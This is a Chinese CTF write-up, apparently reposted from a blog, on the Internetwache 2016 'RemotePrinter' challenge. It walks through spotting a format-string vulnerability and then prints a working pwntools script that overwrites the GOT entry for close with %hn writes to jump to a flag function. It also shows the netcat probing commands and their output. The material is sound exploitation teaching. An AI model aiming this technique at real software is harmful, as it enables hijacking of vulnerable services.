CTF-Internetwache2016-exp-RemotePrinter

来源:互联网 发布:java notify wait原理 编辑:程序博客网 时间:2024/06/06 01:22

CTF-Internetwache2016-exp-RemotePrinter

自今天开始在csdn记录下有些感想或是某些解题过程。以前只在csdn查询、下载资料,没有想到记录。
Ps:心态爆炸,这个笔记本动一下卡7秒是什么鬼哦

  • 查看给出的二进制文件,file RemotePrinter check.sh --file RemotePrinter
    RemotePrinter: ELF 32-bit LSB executableRemotePrinter: ELF 32-bit LSB executable
    No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH RemotePrinter

  • 拖进虚拟机跑一下,观察行为,同时拖进IDA Pro看看逻辑

虚拟机运行结果

IDA Pro

ψ(`∇´)ψ,找到了,熟悉的printf(&addr),看来突破口就是这里啦~
不熟悉的朋友可以参考下这个PDF:Format String Exploitation-Tutorial

  • 再去虚拟机试试,找找这个值是栈上第几个参数,同时在IDA里面看strings table,发现一个函数

flag

python -c "print 'ABCD'+'.%p'*10" | nc -l 4444
得到这个东西
This is a remote printer!
Enter IPv4 address:127.0.0.1
Enter port:4444
Thank you, I'm trying to print 127.0.0.1:4444 now!
ABCD.0xffbda85c.0x2000.(nil).(nil).(nil).(nil).0x44434241.0x2e70252e.0x252e7025.0x70252e70

    #!/usr/bin/env python    from pwn import *    RemoteP=ELF('./RemotePrinter')    close_addr=RemoteP.got['close']    v_str=p32(close_addr)+p32(close_addr+2)    flag_addr=0x08048867    head_h=0x0804-8    #len(close_addr)=8    tail_h=0x8867-head_h-8    v_str+="%{}c%8$hn%{}c%7$hn".format(head_h, tail_h) #little endian,首先覆写高位字节,即地址的前2字节    print v_str
  • 好,再来一次看看效果
    python Re.py | nv -l 4444

    YAY, FLAG: Thanks:)

    本地实验,我把flag.txt内容换了…….

0 0
原创粉丝点击